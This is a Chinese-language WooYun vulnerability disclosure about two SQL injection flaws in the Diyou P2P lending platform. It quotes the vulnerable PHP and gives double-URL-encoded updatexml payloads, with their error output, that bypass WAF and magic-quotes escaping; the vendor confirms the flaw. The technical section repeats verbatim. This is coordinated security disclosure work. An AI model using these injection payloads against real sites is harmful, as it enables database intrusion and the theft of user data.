当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147385

漏洞标题:帝友P2P借货系统两处处注入(版本限制)

相关厂商:厦门帝网信息科技有限公司

漏洞作者: Xser

提交时间:2015-10-23 12:39

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-23: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经确认,细节仅向厂商公开
2015-10-30: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

由于url编码所以可以无视waf和gpc

详细说明:

因为帝友有段代码是这样的

function safe_str($str){
if(!get_magic_quotes_gpc()) {
if( is_array($str) ) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
}else{
$str = addslashes($str);
}
}
return $str;


如果没打开gpc就进行转义,但是由于我们这个漏洞会被编码所以不需要考虑gpc的问题
PS:我就本地测试吧,我在本地打开gpc

QQ截图20151017134135.png


--------------------------------------------------------
第一处在modules\member\index.php中

# 检查邮箱是否被注册 elseif ($_U['query_sort'] == 'check_email'){ $result = usersClass::GetUsers(array("email"=>urldecode($_REQUEST['email']))); if ($result == ""){ echo "1"; }else{ echo "0"; } }

urldecode($_REQUEST['email']可以看到这里被解码了 所以可以无视waf/360webscan 跟踪下usersClass::GetUsers

function GetUsers($data = array()){ global $mysql; $_sql = " where 1=1 "; //判断用户id if (IsExiest($data['user_id']) != false){ $_sql .= " and p1.`user_id` = '{$data['user_id']}'"; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false && IsExiest($data['email']) != false){ $_sql .= " and p1.`username` = '{$data['username']}' and p1.`email` = '{$data['email']}' "; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false){ $_sql .= " and p1.`username` = '{$data['username']}'"; } //判断是否搜索邮箱 elseif (IsExiest($data['email']) != false){ $_sql .= " and p1.`email` = '{$data['email']}'"; }

可以看到带入数据库了 我们来测试下 提交:127.0.0.1/?user post:q=check_email&email=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527

XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`email` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''


QQ截图20151007121410.png


ps:这里只给出简单的语句测试,正常需要把全部字符都编码才可以
第二处在/modules/users/users.inc.php中

//举报 elseif ($_U['query_type'] == "addrebut"){ if (isset($_POST['contents'])){ $data['type_id'] = $_POST['type_id']; $data['contents'] = nl2br($_POST['contents']); $data['rebut_userid'] = $_POST['rebut_userid']; $data['user_id'] = $_G['user_id']; $result = usersClass::AddRebut($data); if ($result==false){ $msg = array($result,"","");	 }else{ $msg = array("感谢你的举报,我们将第一时间做出处理","","");	 } }else{ $result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username'])));

可以看到$result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username']))); 被url解码了,所以可以(无视waf/360webscan) 提交http://127.0.0.1/?user&q=code/users/addrebut post:username=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527

XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`username` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''


QQ截图20151007122314.png


漏洞证明:

因为帝友有段代码是这样的

function safe_str($str){
if(!get_magic_quotes_gpc()) {
if( is_array($str) ) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
}else{
$str = addslashes($str);
}
}
return $str;


如果没打开gpc就进行转义,但是由于我们这个漏洞会被编码所以不需要考虑gpc的问题
PS:我就本地测试吧,我在本地打开gpc

QQ截图20151017134135.png


--------------------------------------------------------
第一处在modules\member\index.php中

# 检查邮箱是否被注册 elseif ($_U['query_sort'] == 'check_email'){ $result = usersClass::GetUsers(array("email"=>urldecode($_REQUEST['email']))); if ($result == ""){ echo "1"; }else{ echo "0"; } }

urldecode($_REQUEST['email']可以看到这里被解码了 所以可以无视waf/360webscan 跟踪下usersClass::GetUsers

function GetUsers($data = array()){ global $mysql; $_sql = " where 1=1 "; //判断用户id if (IsExiest($data['user_id']) != false){ $_sql .= " and p1.`user_id` = '{$data['user_id']}'"; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false && IsExiest($data['email']) != false){ $_sql .= " and p1.`username` = '{$data['username']}' and p1.`email` = '{$data['email']}' "; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false){ $_sql .= " and p1.`username` = '{$data['username']}'"; } //判断是否搜索邮箱 elseif (IsExiest($data['email']) != false){ $_sql .= " and p1.`email` = '{$data['email']}'"; }

可以看到带入数据库了 我们来测试下 提交:127.0.0.1/?user post:q=check_email&email=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527

XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`email` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''


QQ截图20151007121410.png


ps:这里只给出简单的语句测试,正常需要把全部字符都编码才可以
第二处在/modules/users/users.inc.php中

//举报 elseif ($_U['query_type'] == "addrebut"){ if (isset($_POST['contents'])){ $data['type_id'] = $_POST['type_id']; $data['contents'] = nl2br($_POST['contents']); $data['rebut_userid'] = $_POST['rebut_userid']; $data['user_id'] = $_G['user_id']; $result = usersClass::AddRebut($data); if ($result==false){ $msg = array($result,"","");	 }else{ $msg = array("感谢你的举报,我们将第一时间做出处理","","");	 } }else{ $result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username'])));

可以看到$result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username']))); 被url解码了,所以可以(无视waf/360webscan) 提交http://127.0.0.1/?user&q=code/users/addrebut post:username=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527

XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`username` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''


QQ截图20151007122314.png


修复方案:

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-27 14:31

厂商回复:

感谢您对漏洞的提交,经技术部门核实,在我司V3老版本的系统上,确实有部分平台存在该漏洞,感谢您的关注,也欢迎您关注我们新版的V4,V5。

最新状态:

暂无